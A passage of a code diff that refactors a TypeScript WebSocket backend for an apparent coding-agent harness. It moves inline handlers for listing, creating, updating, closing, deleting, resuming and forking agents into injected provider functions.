=> [row.agentId, row]))- const byId = new Map(sessions.map(s => [s.agentId, s]))- reply(type, requestId, { agents: projects.map(agent => {- const session = byId.get(agent.id)- const activity = session ? this.monitorActivityProvider?.(session.sessionId) : null- const reading = resources.get(agent.id)- return { ...agent, monitor: {- activity: activity && activity !== 'idle' ? activity : session ? this.monitorCompletions.state(session) : 'idle',- activityKnown: this.monitorActivityProvider !== null,- rssBytes: agent.status === 'stopped' ? 0 : reading?.memoryBytes ?? null,- cpu: agent.status === 'stopped' ? 0 : reading?.cpuPercent ?? null,- pid: reading?.processCount != null ? session?.processIdentity?.pid ?? null : null,- sampledAt: snapshot.sampledAt,- processCount: reading?.processCount ?? null,- gpuMemoryBytes: reading?.gpuMemoryBytes ?? null,- gpuPercent: reading?.gpuPercent ?? null,- diskReadBytesPerSecond: reading?.diskReadBytesPerSecond ?? null,- diskWriteBytesPerSecond: reading?.diskWriteBytesPerSecond ?? null,- processes: reading?.processes ?? [],- ...(storage.get(agent.id) ?? {}),- } }- }), sharedResources: snapshot.shared ?? [], sampledAt: snapshot.sampledAt })- })().catch(() => reply(type, requestId, { error: 'UNAVAILABLE' }))- } else reply(type, requestId, { agents: projects })+ // The agents on this machine, live and, when asked, stopped (core/agents/list.ts, bound by cli.ts).+ case 'agents_list':+ if (this.agentsProvider) await this.agentsProvider(payload, () => this.e2ee.sessionRole(connId), answer)+ else reply(type, requestId, { error: 'UNSUPPORTED' })return- }- case 'sessions_list': {- const projectId = payload.agentId as string | undefined- if (!projectId) { reply(type, requestId, { error: 'MISSING_AGENT_ID' }); return }- const s = registry.resolve(projectId)- // An agent whose engine has not reported a session yet has no transcript to list. Saying so- // plainly beats inventing one: the web then shows the tab with an empty thread until the bind- // lands, instead of pinning `currentSessionId` to an id no event will ever carry.- if (!s || !s.sessionId) { reply(type, requestId, { sessions: [] }); return }- // Counted from an index kept as the file grows (lib/transcriptPages.ts), not by reading it whole.- const messageCount = s.transcriptPath ? await this.transcriptPages.lineCount(s.transcriptPath) : 0- reply(type, requestId, {- sessions: [{- id: s.sessionId,- title: projectDisplayName(s),- timestamp: new Date(s.registeredAt).toISOString(),- messageCount,- lastActivity: new Date(await lastActivityAt(s)).toISOString(),- participants: [],- }],- })+ // The conversation an agent holds, and how long it is (core/transcripts/history.ts, bound by cli.ts).+ case 'sessions_list':+ reply(type, requestId, this.sessionsProvider ? await this.sessionsProvider(payload) : { error: 'UNSUPPORTED' })return- }// A conversation's history, a page at a time (core/transcripts/history.ts, bound by cli.ts).case 'session_get':@@ -2075,57 +1966,16 @@ export class BackendSocket {return}- case 'agent_recent': {- // Device tile restore at boot: the session's persisted LLM turn-summary (recap + body),- // mirroring the hosted runtime’s SessionService.getRecentEvents. Empty until a turn was summarized- // (device-gated) — never a resurrected full-text card.- const projectId = payload.agentId as string | undefined- if (!projectId) { reply(type, requestId, { error: 'MISSING_AGENT_ID' }); return }- const n = Math.max(1, Math.min(5, Number(payload.n) || 2))- const events = this.recentProvider ? this.recentProvider(projectId, n) : []- // ASKS TRAVEL AS THEIR OWN LIST, beside the events rather than inside them. A question exists- // the moment it is asked; a recap exists once the turn has been answered and summarised. They- // are different lengths on any machine where a turn ended without one, so a reply that folds- // the questions into the event rows loses exactly the newest ones — and a REMOTE agent then- // reaches the router with nothing but its name.- const asks = this.recentAsksProvider ? this.recentAsksProvider(projectId, n) : []- reply(type, requestId, { agentId: projectId, events, asks })+ // An agent's last turn summaries and questions, for a device's tiles (core/turns/recaps.ts, bound by cli.ts).+ case 'agent_recent':+ reply(type, requestId, this.agentRecentProvider ? this.agentRecentProvider(payload) : { error: 'UNSUPPORTED' })return- }- case 'agent_handoff_prepare': {- // "Change agent": before the engine is swapped, write what the old one did into the project- // (`.harness/handoff/`) so the new one can read it. It writes into the user's folder and runs- // git there, so only the owner may ask: the loopback window, or a sealed `web` session. A- // `device` (the dial) and a shared viewer never do.- if (!local && this.e2ee.sessionRole(connId) !== 'web') { reply(type, requestId, { error: 'OWNER_REQUIRED' }); return }- const agentId = payload.agentId- if (typeof agentId !== 'string' || agentId.length === 0 || agentId.length > 200) { reply(type, requestId, { error: 'MISSING_AGENT_ID' }); return }- const changeId = payload.changeId- if (typeof changeId !== 'string' || !/^[0-9a-f]{32}$/.test(changeId)) { reply(type, requestId, { error: 'BAD_CHANGE_ID' }); return }- const targetEngine = payload.targetEngine- if (typeof targetEngine !== 'string' || !(ENGINES as readonly string[]).includes(targetEngine)) { reply(type, requestId, { error: 'BAD_ENGINE' }); return }- const provider = this.handoffProvider- if (!provider) { reply(type, requestId, { error: 'UNSUPPORTED' }); return }- // DETACHED from this connection's ordered RPC chain, like `engines_probe`: it reads a whole- // session and runs git, and a window's next request must not queue behind it. The reply names- // fixed fields only; whatever else the provider returned stays here.- // Called inside the executor so a provider that throws before returning its promise lands in- // the same catch (and the same message-free log) as one that rejects.- void new Promise<Awaited<ReturnType<typeof provider>>>((resolve) => resolve(provider({ agentId, changeId, targetEngine })))- .then((r) => reply(type, requestId, { agentId, file: r.file, gitRepo: r.gitRepo, cwd: r.cwd, degraded: r.degraded }))- .catch((e: unknown) => {- // Only a HandoffError's code goes on the wire, and only code-shaped: the reply never carries- // a message or anything else the provider put in it.- const code = typeof e === 'object' && e !== null ? (e as { code?: unknown }).code : undefined- const known = (e as { name?: unknown } | null)?.name === 'HandoffError' && typeof code === 'string' && /^[A-Z][A-Z_]{0,39}$/.test(code)- // Name and errno code only: a message can quote the project path or, from a parser, a- // slice of the transcript it choked on.- if (!known) console.error(`[handoff] prepare failed: ${e instanceof Error ? e.name : typeof e}${typeof code === 'string' && /^[A-Z0-9_]{1,40}$/.test(code) ? ` ${code}` : ''}`)- reply(type, requestId, { error: known ? code : 'INTERNAL' })- })+ // "Change agent": what the old engine did, written for the new one (core/agents/handoff.ts, bound by cli.ts).+ case 'agent_handoff_prepare':+ if (this.handoffRequestProvider) this.handoffRequestProvider(payload, asker, answer)+ else answer({ error: 'UNSUPPORTED' })return- }case 'voice_route': {// Voice router (REMOTE machine): pick the best-fit agent for a transcribed Overview voice task,@@ -2155,313 +2005,23 @@ export class BackendSocket {return}- case 'agent_update': {- const projectId = payload.agentId as string | undefined- if (!projectId) { reply(type, requestId, { error: 'MISSING_AGENT_ID' }); return }- const hasName = Object.prototype.hasOwnProperty.call(payload, 'name')- const hasProfile = Object.prototype.hasOwnProperty.call(payload, 'selectedModel')- // An app OPENED this agent — see RegisteredSession.lastOpenedAt. Only a literal `true`: a- // client that means "opened" says so, and anything else is not an update at all. A client- // reaching this handler is already one that may change the agent — a shared harness's- // observer never gets here (sharing/owner.ts answers everything but terminal frames with- // VIEW_ONLY) — so an open is taken from the local window, a paired web/phone session and a- // remote desktop relayed through its own daemon alike.- const hasOpened = payload.opened === true- // An older client, and a request carrying none of the three, still get MISSING_UPDATE — which- // is also what a client learns from a daemon that predates `opened`.- if (!hasName && !hasProfile && !hasOpened) { reply(type, requestId, { error: 'MISSING_UPDATE' }); return }- const name = typeof payload.name === 'string' ? payload.name.trim() : ''- if (hasName && !name) { reply(type, requestId, { error: 'MISSING_NAME' }); return }- let s = registry.resolve(projectId)- if (!s) { reply(type, requestId, { error: 'AGENT_NOT_FOUND' }); return }- if (hasProfile) {- if (typeof payload.selectedModel !== 'string' || !this.onRuntimeProfileUpdate) {- reply(type, requestId, { error: 'INVALID_RUNTIME_PROFILE' })- return- }- try {- await this.onRuntimeProfileUpdate(projectId, payload.selectedModel)- } catch (error) {- const code: RuntimeProfileErrorCode | 'INTERNAL' = error instanceof RuntimeProfileControlError ? error.code : 'INTERNAL'- reply(type, requestId, { error: code })- return- }- }- if (hasName) {- s = registry.rename(projectId, name) ?? s- this.onAgentRename?.(s, name)- }- // Throttled on the stamp the row already carries, so a repeat inside the window is answered- // with the current frame but moves nothing and tells no one. A stamp from the future (the- // clock was set back) never throttles: the next open corrects it.- let opened = false- if (hasOpened) {- this.closeAgentService?.cancel(s.agentId)- const since = Date.now() - (s.lastOpenedAt ?? 0)- if (!s.lastOpenedAt || since < 0 || since >= AGENT_OPENED_THROTTLE_MS) {- s = registry.markOpened(s.agentId) ?? s- opened = true- }- }- const agent = await this.toProject(s)- reply(type, requestId, { agent })- // Every app sorts by the same stamp, so every app hears it: the web audience — the phone,- // other desktops, and this computer's own windows — through `send`. Not the device: the dial- // lists agents in creation order and has nothing to reorder. Not for an agent whose terminal- // this daemon cannot see either, the rule `syncSession` (cli.ts) keeps: that row is not in- // `agents_list`, and a push would put it back on every screen.- if (opened && registry.terminalAvailable(s.agentId)) {- this.send({ type: 'agent_synced', payload: { agent } })- }- if (hasName) {- const renamed = { type: 'agent_renamed', payload: { agentId: s.agentId, name, engine: s.engine } }- this.send(renamed) // every OTHER web client on this machine (group-encrypted)- this.sendCommander(renamed) // and the device- // The whole rename path was silent end to end, which is why "web1 renamed it, web2 never saw- // it" had no evidence to work from: nothing said whether the request even arrived. One line- // here splits the question in two — no line means it never reached the adapter, a line means- // the fan-out is downstream.- console.log(`[rename] ${sid(projectId)} → "${preview(name, 40)}" · broadcast to web + device`)- }+ // A rename, a model and effort, or an app opening the agent (core/agents/update.ts, bound by cli.ts).+ case 'agent_update':+ if (this.agentUpdateProvider) await this.agentUpdateProvider(payload, answer)+ else answer({ error: 'UNSUPPORTED' })return- }- case 'agent_create_status': {- const creationId = payload.creationId- if (!validCreationId(creationId)) { reply(type, requestId, { error: 'INVALID_CREATION_ID' }); return }- try {- reply(type, requestId, { creationId, ...await this.creationStatusPayload(this.agentCreations.status(creationId)) })- } catch (error) {- reply(type, requestId, { error: error instanceof AgentCreationReceiptError ? error.code : 'INTERNAL' })- }+ // What became of a launch a creationId names (core/agents/launches.ts, bound by cli.ts).+ case 'agent_create_status':+ if (this.createStatusProvider) await this.createStatusProvider(payload, answer)+ else answer({ error: 'UNSUPPORTED' })return- }- case 'agent_create': {- const engine = payload.engine as AgentEngine | undefined- const cwd = payload.cwd- if (typeof engine !== 'string' || !ENGINES.includes(engine)) { reply(type, requestId, { error: 'INVALID_ENGINE' }); return }- let projectFolder- try { projectFolder = parseProjectFolder(payload) }- catch (error) {- reply(type, requestId, error instanceof ProjectFolderError- ? { error: error.code, detail: error.message }- : { error: 'INVALID_PROJECT_SOURCE' }); return- }- // A terminal opens where a terminal app would — the home directory — when the client names- // no folder; every other engine works IN a folder and must be told which.- const terminal = isTerminalEngine(engine)- if (terminal && projectFolder) { reply(type, requestId, { error: 'INVALID_PROJECT_SOURCE', detail: 'a terminal opens in a folder, it does not prepare one' }); return }- if (!projectFolder && !(terminal && cwd === undefined) && (typeof cwd !== 'string' || !isAbsolute(cwd))) { reply(type, requestId, { error: 'INVALID_CWD' }); return }- if (!this.onCreateAgent) { reply(type, requestId, { error: 'UNSUPPORTED_ON_REMOTE' }); return }- const creationId = payload.creationId- if (creationId !== undefined && !validCreationId(creationId)) {- reply(type, requestId, { error: 'INVALID_CREATION_ID' }); return- }- if (projectFolder && (!validCreationId(creationId) || cwd !== undefined)) {- reply(type, requestId, { error: 'INVALID_PROJECT_SOURCE' }); return- }- // Absent is the ordinary case and stays indistinguishable from a client that predates grids;- // present-but-malformed is refused here rather than half-applied at launch, because an agent- // that quietly ran on the engine's own login would look like it worked.- const model = parseNewAgentModel(engine, payload)- if (model.state === 'invalid') { reply(type, requestId, { error: 'INVALID_GRID', detail: model.detail }); return }- const grid = parseGridLaunchOverride(payload.grid)- if (grid.state === 'invalid') { reply(type, requestId, { error: 'INVALID_GRID', detail: grid.reason }); return }- if (terminal && grid.state === 'ok') { reply(type, requestId, { error: 'INVALID_GRID', detail: 'a terminal has no engine to point at a grid' }); return }- // Same validation the desktop app already applies client-side (`Agent._safeCodexHome`) —- // repeated here because a client's own check is not a guarantee about what actually- // arrives on the wire.- const rawCodexHome = typeof payload.codexHome === 'string' ? payload.codexHome : null- const codexHome = rawCodexHome && rawCodexHome.startsWith('/') && rawCodexHome.length <= 4096- && !/[\x00-\x1f\x7f]/.test(rawCodexHome)- ? rawCodexHome- : null- if (codexHome && (engine !== 'codex' || grid.state === 'ok')) {- reply(type, requestId, { error: 'INVALID_CODEX_HOME', detail: 'codexHome is only valid for codex, without a grid' })- return- }- // A DSH is refused, never approximated: an agent created as its plain base engine would look- // like it worked and have none of the skills the user picked the tile for.- let dsh: string | null = null- if (payload.dsh !== undefined && payload.dsh !== null) {- if (typeof payload.dsh !== 'string' || !DSH_ID_RE.test(payload.dsh)) {- reply(type, requestId, { error: 'INVALID_DSH', detail: 'dsh must be an owner/name id' }); return- }- const installed = installedDsh(payload.dsh)- if (!installed) {- reply(type, requestId, { error: 'INVALID_DSH', detail: `${payload.dsh} is not installed on this machine` }); return- }- if (installed.manifest.kind === 'viewer') {- reply(type, requestId, { error: 'INVALID_DSH', detail: `${payload.dsh} is a viewer package, not an agent` }); return- }- if (!dshSupportedEngines(installed.manifest).includes(engine)) {- reply(type, requestId, { error: 'INVALID_DSH', detail: `${payload.dsh} supports ${dshSupportedEngines(installed.manifest).join(', ')}; ${engine} is not compatible` }); return- }- dsh = installed.id- }- // A first prompt is refused BEFORE any pane exists: an engine with no way to take one would- // otherwise open on an empty input and look like the person's request had been heard. The- // length bound is a first message's, not a document's. The text itself is never logged.- let prompt: string | null = null- if (payload.prompt !== undefined && payload.prompt !== null) {- if (typeof payload.prompt !== 'string') { reply(type, requestId, { error: 'INVALID_PROMPT', detail: 'prompt must be a string' }); return }- const trimmed = payload.prompt.trim()- if (trimmed.length > MAX_FIRST_PROMPT_CHARS) {- reply(type, requestId, { error: 'PROMPT_TOO_LONG', detail: `prompt is longer than ${MAX_FIRST_PROMPT_CHARS} characters` }); return- }- if (trimmed && !supportsFirstPrompt(engine)) {- reply(type, requestId, { error: 'PROMPT_UNSUPPORTED', detail: new FirstPromptUnsupportedError(engine).message }); return- }- prompt = trimmed || null- }- // Blank is "number it", the same as absent — a client that sends an empty field is not- // asking for an agent with no name.- const name = typeof payload.name === 'string' && payload.name.trim() ? payload.name.trim() : null- // The engine's named agent is refused BEFORE any pane exists, like the prompt: an engine with- // no way to open as one would otherwise come up as a general session under that agent's- // name. The shape is an identifier the engine looks a file up by — never a path.- let agent: string | null = null- if (payload.agent !== undefined && payload.agent !== null) {- if (typeof payload.agent !== 'string' || !AGENT_NAME_RE.test(payload.agent)) {- reply(type, requestId, { error: 'INVALID_AGENT', detail: 'agent must be 1-64 letters, digits, `-` or `_`' }); return- }- // OpenCode v2 counts as no way: its TUI exits 1 on `--agent` (engineLaunch.ts).- if (!supportsNamedAgent(engine, engine === 'opencode' ? opencodeMajorVersion() : null)) {- reply(type, requestId, { error: 'AGENT_UNSUPPORTED', detail: new NamedAgentUnsupportedError(engine).message }); return- }- agent = payload.agent- }- // A permission mode picked in New Harness. A client that predates the choice sends only- // `bypassPermission`; one that sends a mode this engine does not have is refused rather than- // quietly launched in some other mode.- let permissionMode: string | null = null- if (payload.permissionMode !== undefined && payload.permissionMode !== null) {- if (typeof payload.permissionMode !== 'string' || !permissionModeFlags(engine, payload.permissionMode)) {- reply(type, requestId, { error: 'INVALID_PERMISSION_MODE', detail: `${engine} has no permission mode ${JSON.stringify(payload.permissionMode)}` }); return- }- permissionMode = payload.permissionMode- }- // Opening a conversation Harness did not start: the engine resumes it, as it was. Nothing a new- // conversation is created with applies to it.- let resumeSessionId: string | null = null- if (payload.resumeSessionId !== undefined && payload.resumeSessionId !== null) {- // Engines' ids: uuids, `ses_…` (OpenCode, Kilo), `20260927_101500_ab12cd` (Hermes), slugs- // (Devin), Pi's custom ids with dots. One word, never a path.- if (typeof payload.resumeSessionId !== 'string' || !/^[A-Za-z0-9][A-Za-z0-9._-]{1,127}$/.test(payload.resumeSessionId)) {- reply(type, requestId, { error: 'INVALID_SESSION', detail: 'resumeSessionId must be a session id' }); return- }- if (terminal || projectFolder || grid.state === 'ok' || model.state === 'ok' || dsh || prompt || agent) {- reply(type, requestId, { error: 'INVALID_SESSION', detail: 'a resumed conversation takes no new folder, grid, harness, prompt or agent' }); return- }- resumeSessionId = payload.resumeSessionId- }- let takeOver: 'idle' | 'now' | 'wait' | null = null- if (payload.takeOver !== undefined && payload.takeOver !== null) {- if (!resumeSessionId || (payload.takeOver !== 'idle' && payload.takeOver !== 'now' && payload.takeOver !== 'wait')) {- reply(type, requestId, { error: 'INVALID_SESSION', detail: 'takeOver is idle, now or wait, with a resumeSessionId' }); return- }- takeOver = payload.takeOver- }- const input = {- engine,- cwd: typeof cwd === 'string' ? cwd : terminal ? homedir() : '',- // On unless a client says otherwise: a harness works without stopping to ask for each command.- bypassPermission: permissionMode ? permissionModeApproves(permissionMode) : payload.bypassPermission !== false,- permissionMode,- grid: grid.state === 'ok' ? grid.override : null,- codexHome,- dsh,- prompt,- name,- agent,- resumeSessionId,- takeOver,- }- const fingerprintInput = model.state === 'ok' ? { ...input, modelSelection: model.selection } : input- if (creationId !== undefined) {- // Reserve before spawning. A transport retry carries the SAME creationId; a deliberate- // New agent action carries a new one. Detach so a status check can pass a slow create- // on this connection, just as engines_probe is detached above.- const create = this.onCreateAgent- try {- void this.agentCreations.run(creationId, creationFingerprint(projectFolder ? { ...fingerprintInput, projectFolder } : fingerprintInput), async () => {- if (model.state === 'ok') {- const target = await resolveNewAgentModel(model.selection).catch(() => null)- if (!target) return { state: 'failed', error: 'GRID_UNAVAILABLE', detail: 'The selected model is unavailable. Choose another model or refresh the list.' }- input.grid = target- }- let preparedFolder: string | undefined- if (projectFolder) {- try { preparedFolder = await prepareProjectFolder(projectFolder, { label: (dsh ? installedDsh(dsh)?.manifest.name : null) ?? engineLabel(input.engine) }) }- catch (error) {- return { state: 'failed', error: error instanceof ProjectFolderError ? error.code : 'PROJECT_PREPARATION_FAILED',- detail: error instanceof ProjectFolderError ? error.message : 'Could not prepare the project folder.' }- }- // Only a folder this daemon just made EMPTY is one the engine need not ask about. A clone or- // the person's own repo is theirs to answer for (lib/claudeTrust.ts); a worktree gets only- // the answer its source repo already has. `branch` IS the source folder: nothing to record.- try {- const engineTrust = input.engine === 'claude' ? { trusts: claudeTrusts, record: preTrustClaudeProject }- : input.engine === 'codex' ? { trusts: codexTrusts, record: preTrustCodexProject } : null- if (engineTrust && (projectFolder.source === 'new'- || (projectFolder.source === 'worktree' && engineTrust.trusts(projectFolder.gitSource)))) {- engineTrust.record(preparedFolder)- }- } catch (error) { console.warn(`[agent] pre-trust ${preparedFolder} · ${error instanceof Error ? error.message : error}`) }- } else if (!dsh && local && dirname(input.cwd) === projectsRoot()) {- // On the LOCAL machine the desktop makes a new workspace ITSELF and sends the path as a plain- // cwd, so `projectFolder` above never sees it. Such a folder is empty and is trusted the way a- // `new` project is — but only on evidence, and only where those workspaces live:- //- // · directly inside the projects root, which is the one folder the app and this daemon- // create workspaces in. Trust INHERITS downward (claudeTrusts), so recording it for a- // folder the person merely browsed to — an empty `~/code`, or a home with nothing in it —- // would silently cover every repo cloned under it later: OH-14 again by another door.- // · empty as read from disk, never on the client's word. A clone, a worktree or the- // person's own repo has content, so it stays the engine's question (lib/claudeTrust.ts).- // · from a LOCAL frame. agent_create is not backend-only, so a relayed peer would otherwise- // name an empty path on this host and have it trusted.- //- // DSH trust is decided in cli.ts, where the template count is known; leave that to it.- try {- const empty = await readdir(input.cwd).then((names) => names.length === 0, () => false)- if (empty) {- if (input.engine === 'claude') preTrustClaudeProject(input.cwd)- if (input.engine === 'codex') preTrustCodexProject(input.cwd)- }- } catch (error) { console.warn(`[agent] pre-trust ${input.cwd} · ${error instanceof Error ? error.message : error}`) }- }- const result = await create(preparedFolder ? { ...input, cwd: preparedFolder } : input)- if (result.ok) return { state: 'created', agentId: result.session.agentId }- // tmux may have executed before a timeout; registration cleanup is best-effort.- // Neither can prove that no process started, so never encourage another launch.- if (result.error === 'SPAWN_FAILED' || result.error === 'REGISTRATION_FAILED') return { state: 'unconfirmed' }- return { state: 'failed', error: result.error, ...(preparedFolder ? { preparedFolder } : {}), ...(result.detail ? { detail: result.detail.slice(0, 2000) } : {}) }- }).then(async (status) => {- reply(type, requestId, { creationId, ...await this.creationStatusPayload(status) })- }).catch(() => reply(type, requestId, { error: 'INTERNAL' }))- } catch (error) {- reply(type, requestId, { error: error instanceof AgentCreationReceiptError ? error.code : 'INTERNAL' })- }- return- }- // Clients predating receipts retain their existing response shape.- if (model.state === 'ok') {- const target = await resolveNewAgentModel(model.selection).catch(() => null)- if (!target) { reply(type, requestId, { error: 'GRID_UNAVAILABLE', detail: 'The selected model is unavailable. Choose another model or refresh the list.' }); return }- input.grid = target- }- const result = await this.onCreateAgent(input)- // `detail` carries the underlying cause (tmux's own message) so the person who clicked- // Create can read it, rather than having to open a log on the machine that failed.- if (!result.ok) {- reply(type, requestId, result.detail ? { error: result.error, detail: result.detail } : { error: result.error })- return- }- reply(type, requestId, { agent: await this.toProject(result.session) })+ // A new agent (core/agents/launches.ts, bound by cli.ts).+ case 'agent_create':+ if (this.createProvider) await this.createProvider(payload, asker, answer)+ else answer({ error: 'UNSUPPORTED_ON_REMOTE' })return- }// Move a RUNNING agent onto a grid. The pane survives; its process is re-exec'd with the// engine's grid environment and, when one is bound, `--resume <session>` so the conversation@@ -2546,174 +2106,45 @@ export class BackendSocket {return}- // Delete an agent: signal its validated engine process and drop it from the list. Idempotent — an already- // gone target still acks + re-emits agent_deleted so the web/device converge. E2EE-gated (the- // frame arrived decrypted). Keeps the persisted recap + agent name for a later resume.- case 'agents_cleanup_preview': {- if (!this.cleanupPreview) { reply(type, requestId, { error: 'UNSUPPORTED' }); return }- void this.cleanupPreview().then(result => reply(type, requestId, result), error => reply(type, requestId, {- error: error?.code ?? 'TABS_UNAVAILABLE', detail: error instanceof Error ? error.message : 'Could not check open tabs.',- }))+ // The agents no window shows, for a person to review before closing them (core/agents/close.ts).+ case 'agents_cleanup_preview':+ if (this.cleanupPreviewProvider) this.cleanupPreviewProvider(answer)+ else answer({ error: 'UNSUPPORTED' })return- }- case 'agent_close': {- if (!this.closeAgentService) { reply(type, requestId, { error: 'UNSUPPORTED' }); return }- const { agentId, sessionId, createdAt, mode } = payload- if (typeof agentId !== 'string' || typeof sessionId !== 'string' || typeof createdAt !== 'string'- || typeof mode !== 'string' || !['inspect', 'idle', 'now', 'after_task', 'cancel'].includes(mode)) {- reply(type, requestId, { error: 'INVALID_CLOSE_REQUEST' }); return- }- // Saving/exit may take seconds; terminal input and unrelated agents keep flowing.- void this.closeAgentService.request({ agentId, sessionId, createdAt, mode: mode as CloseMode,- ...(payload.onlyIfHidden === true ? { onlyIfHidden: true } : {}) })- .then(result => reply(type, requestId, result), () => reply(type, requestId, { error: 'CLOSE_FAILED' }))+ // A close now, once idle or after the task (core/agents/close.ts, bound by cli.ts).+ case 'agent_close':+ if (this.closeProvider) this.closeProvider(payload, answer)+ else answer({ error: 'UNSUPPORTED' })return- }+ // Permanent deletion, reviewed first (core/agents/lifecycle.ts, bound by cli.ts).case 'agent_worktree_delete':- case 'agent_purge': {- if (!local && this.e2ee.sessionRole(connId) !== 'web') { reply(type, requestId, { error: 'OWNER_REQUIRED' }); return }- if (!this.purgeAgentService) { reply(type, requestId, { error: 'UNSUPPORTED' }); return }- const { agentId, sessionId, createdAt, mode, reviewId, path, discardChanges, choices, includeWorktree } = payload- const selected = choices && typeof choices === 'object' ? choices as Record<string, unknown> : null- if (typeof agentId !== 'string' || !(sessionId === null || typeof sessionId === 'string')- || typeof createdAt !== 'number' || !Number.isFinite(createdAt)- || (mode !== 'inspect' && mode !== 'delete' && !(type === 'agent_worktree_delete' && mode === 'describe'))- || (mode === 'delete' && typeof reviewId !== 'string')- || (choices !== undefined && (!selected- || typeof selected.sessionData !== 'boolean' || typeof selected.worktreeData !== 'boolean'))) {- reply(type, requestId, { error: 'INVALID_DELETE_REQUEST' }); return- }- const deletion = { agentId, sessionId, createdAt, mode: mode as 'inspect' | 'delete',- ...(typeof reviewId === 'string' ? { reviewId } : {}),- ...(typeof path === 'string' ? { path } : {}), discardChanges: discardChanges === true,- includeWorktree: includeWorktree === true,- ...(selected ? { choices: { sessionData: selected.sessionData as boolean, worktreeData: selected.worktreeData as boolean } } : {}) }- const operation = type === 'agent_worktree_delete'- ? this.purgeAgentService.worktreeRequest({ ...deletion, mode: mode as 'describe' | 'inspect' | 'delete' })- : this.purgeAgentService.request(deletion)- void operation- .then(result => {- if (result.deleted === true || result.worktreeDeleted === true) void this.harnessStorageReader([], true)- reply(type, requestId, result)- }, () => reply(type, requestId, { error: 'DELETE_FAILED' }))+ case 'agent_purge':+ if (this.purgeProvider) this.purgeProvider(type, payload, asker, answer)+ else answer({ error: 'UNSUPPORTED' })return- }- case 'agent_delete': {- const target = (payload.agentId as string | undefined) || (payload.sessionId as string | undefined)- if (!target) { reply(type, requestId, { error: 'MISSING_AGENT_ID' }); return }- if (!this.onDeleteAgent) { reply(type, requestId, { error: 'UNSUPPORTED' }); return }- if (Object.hasOwn(payload, 'expectedSessionId')) {- const current = registry.byAgent(target)- if (!current || (current.sessionId || null) !== payload.expectedSessionId) {- reply(type, requestId, { error: 'SESSION_CHANGED', detail: 'This conversation changed. Refresh and review it before stopping.' })- return- }- }- try { await this.onDeleteAgent(target) }- catch (error) {- if (!(error instanceof AgentStopError)) throw error- reply(type, requestId, { error: error.code, detail: error.message })- return- }- reply(type, requestId, { deleted: true })+ // Stop Harness (core/agents/lifecycle.ts, bound by cli.ts).+ case 'agent_delete':+ answer(this.stopProvider ? await this.stopProvider(payload) : { error: 'UNSUPPORTED' })return- }- // Resume attaches or restores a saved conversation; restart replaces a live process in its- // existing pane. Both keep the agentId and use the same durable operation receipt protocol.+ // A saved conversation resumed, or a live process relaunched in its pane (core/agents/launches.ts).case 'agent_resume':- case 'agent_restart': {- const target = payload.agentId as string | undefined- if (!target) { reply(type, requestId, { error: 'MISSING_AGENT_ID' }); return }- const operation = type === 'agent_resume' ? 'resume' : 'restart'- const restart = operation === 'resume' ? this.onResumeAgent : this.onRestartAgent- if (!restart) { reply(type, requestId, { error: 'UNSUPPORTED_ON_REMOTE' }); return }- const permissionMode = payload.permissionMode- if (permissionMode !== undefined && (operation !== 'resume' || typeof permissionMode !== 'string'- || !['ask', 'auto', 'plan', 'full'].includes(permissionMode))) {- reply(type, requestId, { error: 'INVALID_PERMISSION_MODE' }); return- }- const invoke = () => permissionMode === undefined ? restart(target) : this.onResumeAgent!(target, permissionMode)- const creationId = payload.creationId- if (creationId !== undefined) {- if (!validCreationId(creationId)) { reply(type, requestId, { error: 'INVALID_CREATION_ID' }); return }- try {- void this.agentCreations.run(creationId, creationFingerprint({ operation, agentId: target,- ...(permissionMode === undefined ? {} : { permissionMode }) }), async () => {- const result = await invoke()- if (result.ok) return { state: 'created', agentId: result.session.agentId, resumed: result.resumed }- // RESTART_FAILED can follow an unobserved relaunch. Never silently- // replace that process again when a caller checks this intent.- if (result.error === 'RESTART_FAILED' || result.error === 'RESUME_UNCONFIRMED') return { state: 'unconfirmed' }- return { state: 'failed', error: result.error, ...(result.detail ? { detail: result.detail.slice(0, 2000) } : {}) }- }).then(async (status) => {- reply(type, requestId, { creationId, ...await this.creationStatusPayload(status) })- }).catch(() => reply(type, requestId, { error: 'INTERNAL' }))- } catch (error) {- reply(type, requestId, { error: error instanceof AgentCreationReceiptError ? error.code : 'INTERNAL' })- }- return- }- const result = await invoke()- if (!result.ok) {- reply(type, requestId, result.detail ? { error: result.error, detail: result.detail } : { error: result.error })- return- }- reply(type, requestId, { agent: await this.toProject(result.session), resumed: result.resumed })+ case 'agent_restart':+ if (this.restartProvider) await this.restartProvider(type, payload, answer)+ else answer({ error: 'UNSUPPORTED_ON_REMOTE' })return- }- // Fork an agent: a second one with the first one's history — see lib/forkAgent.ts. The reply- // is agent_create's shape plus `level`, so a client opens the pane the same way.- case 'agent_fork': {- const target = payload.agentId as string | undefined- if (!target) { reply(type, requestId, { error: 'MISSING_AGENT_ID' }); return }- if (!this.onForkAgent) { reply(type, requestId, { error: 'UNSUPPORTED_ON_REMOTE' }); return }- const name = typeof payload.name === 'string' && payload.name.trim() ? payload.name.trim().slice(0, 120) : null- const rawPrompt = payload.prompt- if (rawPrompt !== undefined && rawPrompt !== null && typeof rawPrompt !== 'string') { reply(type, requestId, { error: 'INVALID_PROMPT' }); return }- const prompt = typeof rawPrompt === 'string' && rawPrompt.trim() ? rawPrompt : null- if (prompt && prompt.length > MAX_FIRST_PROMPT_CHARS) { reply(type, requestId, { error: 'PROMPT_TOO_LONG' }); return }- const creationId = payload.creationId- if (creationId !== undefined) {- if (!validCreationId(creationId)) { reply(type, requestId, { error: 'INVALID_CREATION_ID' }); return }- // Forking starts a new process too. Reserve the same durable intent used- // by agent_create so a lost receipt can be checked without another fork.- const fork = this.onForkAgent- try {- void this.agentCreations.run(creationId, creationFingerprint({ operation: 'fork', agentId: target, name, prompt }), async () => {- const result = await fork({ agentId: target, name, prompt })- if (result.ok) return { state: 'created', agentId: result.session.agentId, level: result.level }- if (result.error === 'SPAWN_FAILED' || result.error === 'REGISTRATION_FAILED') return { state: 'unconfirmed' }- return { state: 'failed', error: result.error, ...(result.detail ? { detail: result.detail.slice(0, 2000) } : {}) }- }).then(async (status) => {- reply(type, requestId, { creationId, ...await this.creationStatusPayload(status) })- }).catch(() => reply(type, requestId, { error: 'INTERNAL' }))- } catch (error) {- reply(type, requestId, { error: error instanceof AgentCreationReceiptError ? error.code : 'INTERNAL' })- }- return- }- const result = await this.onForkAgent({ agentId: target, name, prompt })- if (!result.ok) {- reply(type, requestId, result.detail ? { error: result.error, detail: result.detail } : { error: result.error })- return- }- reply(type, requestId, { agent: await this.toProject(result.session), level: result.level })+ // A second agent with the first one's history (core/agents/launches.ts, bound by cli.ts).+ case 